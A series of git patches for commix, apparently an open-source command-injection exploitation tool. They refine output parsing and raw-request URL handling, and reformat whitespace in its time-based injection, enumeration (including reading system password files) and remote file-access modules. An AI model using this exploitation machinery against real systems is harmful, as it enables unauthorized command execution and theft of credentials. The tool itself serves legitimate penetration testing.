**[مثال‌های استفاده](https://github.com/commixproject/commix/wiki/Usage-Examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-Bypasses)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید. + + +## پیوندها + +* راهنمای کاربر: https://github.com/commixproject/commix/wiki +* ردیاب مسائل: https://github.com/commixproject/commix/issues + + +## ترجمه‌ها + +* [یونانی](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) +* [اندونزیایی](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) +* [فارسی](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) \ No newline at end of file From f3731856247947533dea7a643a4868473335b29b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Jul 2023 19:17:26 +0300 Subject: [PATCH 0326/1023] Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). --- doc/CHANGELOG.md | 1 + .../techniques/eval_based/eb_enumeration.py | 12 ++++++------ .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/eval_based/eb_injector.py | 4 ++++ src/utils/settings.py | 2 +- 5 files changed, 13 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e9fe69ec71..fc52cb9128 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 95eed537bc..f7a8783895 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -47,7 +47,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. ps_version = eb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version).replace(settings.SINGLE_WHITESPACE, "", 1) + ps_version = "".join(str(p) for p in ps_version) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -69,7 +69,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) + shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -126,7 +126,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. target_arch = eb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch).replace(settings.SINGLE_WHITESPACE, "", 1) + target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -153,7 +153,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = eb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account).replace(settings.SINGLE_WHITESPACE, "", 1) + cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -178,7 +178,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) + shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -244,7 +244,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) + shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 13fc592cd8..6ba8ca1abf 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -380,7 +380,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) + shell = "".join(str(p) for p in shell) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index efb42160b0..44692eb945 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -252,6 +252,10 @@ def injection_results(response, TAG, cmd): html_data = re.sub("\n", new_line, html_data) shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) try: + if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: + shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ + re.split(TAG + "(.*)" + TAG, \ + re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) shell = shell[0].replace(new_line, "\n").rstrip().lstrip() except IndexError: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 1e62e347b9..fe5cfbfb65 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d1a35509b4fbf3453efd8b2851a2acce117b8b91 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 9 Jul 2023 10:33:06 +0300 Subject: [PATCH 0327/1023] Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/parser.py | 23 +++++++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 15 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index fc52cb9128..9ab158dee8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 844a3043d0..a8156b5cce 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -68,10 +68,6 @@ def invalid_data(request): info_msg = "Parsing target " request_file = menu.options.logfile - info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if not os.path.exists(request_file): print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." @@ -141,10 +137,10 @@ def invalid_data(request): else: invalid_data(request_file) - request_url = "".join([str(i) for i in request_url]) + request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" - prefix = "http://" + scheme = "http://" for line in request.splitlines(): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) @@ -158,7 +154,7 @@ def invalid_data(request): if re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: - prefix = "https://" + scheme = "https://" if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() menu.options.auth_type = auth_provided[0].lower() @@ -186,16 +182,23 @@ def invalid_data(request): # Extra headers menu.options.headers = extra_headers - # Target URL if not menu.options.host: invalid_data(request_file) else: - menu.options.url = prefix + menu.options.host + request_url + if len(_urllib.parse.urlparse(request_url).scheme) == 0: + request_url = scheme + request_url + if not menu.options.host in request_url: + request_url = request_url.replace(scheme, scheme + menu.options.host) + request_url = checks.check_http_s(request_url) + info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " + sys.stdout.write(settings.print_info_msg(info_msg)) + sys.stdout.flush() + menu.options.url = request_url if single_request: print(settings.SINGLE_WHITESPACE) if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: - sub_content = http_method + settings.SINGLE_WHITESPACE + prefix + menu.options.host + request_url + sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url print(settings.print_sub_content(sub_content)) if menu.options.cookie: sub_content = "Cookie: " + menu.options.cookie diff --git a/src/utils/settings.py b/src/utils/settings.py index fe5cfbfb65..88b6f5e16c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9fb6103101aec7f0facc34c289c750bf7dd9ccbd Mon Sep 17 00:00:00 2001 From: 0xFred <> Date: Mon, 10 Jul 2023 10:10:34 +0200 Subject: [PATCH 0328/1023] removed ugly tabs & spaces --- commix.py | 8 +- src/core/convert.py | 2 +- .../techniques/time_based/tb_enumeration.py | 30 +- .../techniques/time_based/tb_file_access.py | 12 +- .../blind/techniques/time_based/tb_handler.py | 70 ++-- .../techniques/time_based/tb_injector.py | 82 ++-- .../techniques/time_based/tb_payloads.py | 280 ++++++------- src/core/injections/controller/checks.py | 384 +++++++++--------- src/core/injections/controller/controller.py | 118 +++--- src/core/injections/controller/parser.py | 30 +- .../injections/controller/shell_options.py | 26 +- .../techniques/classic/cb_enumeration.py | 30 +- .../techniques/classic/cb_file_access.py | 10 +- .../techniques/classic/cb_handler.py | 82 ++-- .../techniques/classic/cb_injector.py | 44 +- .../techniques/classic/cb_payloads.py | 50 +-- .../techniques/eval_based/eb_enumeration.py | 42 +- .../techniques/eval_based/eb_file_access.py | 12 +- .../techniques/eval_based/eb_handler.py | 62 +-- .../techniques/eval_based/eb_injector.py | 34 +- .../techniques/eval_based/eb_payloads.py | 46 +-- .../techniques/file_based/fb_enumeration.py | 28 +- .../techniques/file_based/fb_file_access.py | 10 +- .../techniques/file_based/fb_handler.py | 96 ++--- .../techniques/file_based/fb_injector.py | 60 +-- .../techniques/file_based/fb_payloads.py | 20 +- .../tempfile_based/tfb_enumeration.py | 8 +- .../tempfile_based/tfb_file_access.py | 12 +- .../techniques/tempfile_based/tfb_handler.py | 96 ++--- .../techniques/tempfile_based/tfb_injector.py | 78 ++-- .../techniques/tempfile_based/tfb_payloads.py | 86 ++-- src/core/main.py | 76 ++-- src/core/modules/modules_handler.py | 6 +- src/core/requests/authentication.py | 56 +-- src/core/requests/headers.py | 48 +-- src/core/requests/parameters.py | 60 +-- src/core/requests/proxy.py | 4 +- src/core/requests/redirection.py | 24 +- src/core/requests/requests.py | 118 +++--- src/core/requests/tor.py | 26 +- src/core/shells/bind_tcp.py | 112 ++--- src/core/shells/reverse_tcp.py | 146 +++---- src/core/tamper/backslashes.py | 4 +- src/core/tamper/backticks.py | 4 +- src/core/tamper/base64encode.py | 4 +- src/core/tamper/caret.py | 6 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 4 +- src/core/tamper/hexencode.py | 6 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 6 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/rev.py | 6 +- src/core/tamper/singlequotes.py | 4 +- src/core/tamper/slash2env.py | 4 +- src/core/tamper/sleep2timeout.py | 6 +- src/core/tamper/sleep2usleep.py | 8 +- src/core/tamper/space2htab.py | 4 +- src/core/tamper/space2ifs.py | 8 +- src/core/tamper/space2plus.py | 8 +- src/core/tamper/space2vtab.py | 6 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 4 +- src/thirdparty/colorama/ansi.py | 2 +- src/thirdparty/flatten_json/__init__.py | 2 +- src/thirdparty/flatten_json/flatten_json.py | 2 +- src/thirdparty/odict/__init__.py | 2 +- src/utils/common.py | 22 +- src/utils/crawler.py | 32 +- src/utils/install.py | 42 +- src/utils/logs.py | 14 +- src/utils/menu.py | 134 +++--- src/utils/purge.py | 44 +- src/utils/requirments.py | 4 +- src/utils/session_handler.py | 38 +- src/utils/settings.py | 122 +++--- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 32 +- src/utils/version.py | 2 +- 79 files changed, 1610 insertions(+), 1610 deletions(-) diff --git a/commix.py b/commix.py index 538de6f371..2106755229 100755 --- a/commix.py +++ b/commix.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -35,14 +35,14 @@ def main(): main() except SystemExit: import sys - raise SystemExit() + raise SystemExit() except KeyboardInterrupt: import sys - raise SystemExit() + raise SystemExit() except IndentationError as err_msg: from src.utils import settings print(settings.print_critical_msg(err_msg) + ".\n") - raise SystemExit() + raise SystemExit() except: from src.utils import common common.unhandled_exception() diff --git a/src/core/convert.py b/src/core/convert.py index c14585bf28..7f218c9f50 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -15,7 +15,7 @@ import codecs import binascii -from src.utils import settings +from src.utils import settings from src.thirdparty import six """ diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 45eb92f62c..52f610d253 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -31,7 +31,7 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): +def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.PS_VERSION # if alter_shell: @@ -45,7 +45,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output checks.print_ps_version(ps_version, filename, _) - + """ Hostname enumeration """ @@ -65,10 +65,10 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h Retrieve system information """ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False + _ = False if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -131,8 +131,8 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT + else: + cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, shell, vuln_parameter) @@ -146,7 +146,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - cmd = settings.SYS_USERS + cmd = settings.SYS_USERS if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS cmd = cmd + settings.WIN_REPLACE_WHITESPACE @@ -161,7 +161,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output = "" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output + sys_users = output checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ @@ -169,16 +169,16 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - cmd = settings.SYS_PASSES + cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) _ = True if output == False: output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) + session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output + sys_passes = output checks.print_passes(sys_passes, filename, _, alter_shell) """ @@ -195,7 +195,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - checks.print_single_os_cmd(cmd, output) + checks.print_single_os_cmd(cmd, output) return check_how_long, output """ @@ -205,7 +205,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h def reset(): if settings.ENUMERATION_DONE: settings.ENUMERATION_DONE = False - + reset() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): @@ -222,7 +222,7 @@ def reset(): hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() - if menu.options.current_user: + if menu.options.current_user: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) checks.print_enumenation().current_user_msg() diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 3756ebc2cd..6d69f08044 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -43,13 +43,13 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) else: - cmd = checks.write_content(content, dest_to_write) + cmd = checks.write_content(content, dest_to_write) cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) @@ -75,7 +75,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) - + """ Read a file from the target host. """ @@ -111,7 +111,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_read: + if menu.options.file_read: file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index a7da3ea442..1d17bdec35 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -45,7 +45,7 @@ The "time-based" injection technique handler. """ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - + counter = 1 num_of_chars = 1 vp_flag = True @@ -63,7 +63,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--maxlen" option. if menu.options.maxlen: settings.MAXLEN = maxlen = menu.options.maxlen - + # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." @@ -107,14 +107,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" - + # Define alter shell alter_shell = menu.options.alter_shell - + # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 - + for output_length in range(1, int(tag_length)): try: if alter_shell: @@ -130,7 +130,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) @@ -199,7 +199,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False - how_long_statistic = [] + how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True @@ -213,7 +213,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r") while True: message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = common.read_input(message, default="C", check_batch=True) + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False @@ -227,7 +227,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: common.invalid_option(proceed_option) pass - + if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" @@ -256,14 +256,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Set the original delay time original_how_long = how_long - + # Check for false positive resutls how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 @@ -280,7 +280,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - continue + continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" @@ -325,12 +325,12 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: percent = ".. (" + str(float_percent) + "%)" break - - # Yaw, got shellz! + + # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : + (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): @@ -342,22 +342,22 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.LOAD_SESSION: possibly_vulnerable = False - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -372,14 +372,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -400,8 +400,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - + settings.LOAD_SESSION = False + # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: @@ -417,7 +417,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enumerate_again) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -434,14 +434,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - break + break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(file_access_again) + common.invalid_option(file_access_again) pass else: - if menu.file_access_options(): + if menu.file_access_options(): tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. @@ -484,7 +484,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: @@ -504,9 +504,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r break else: 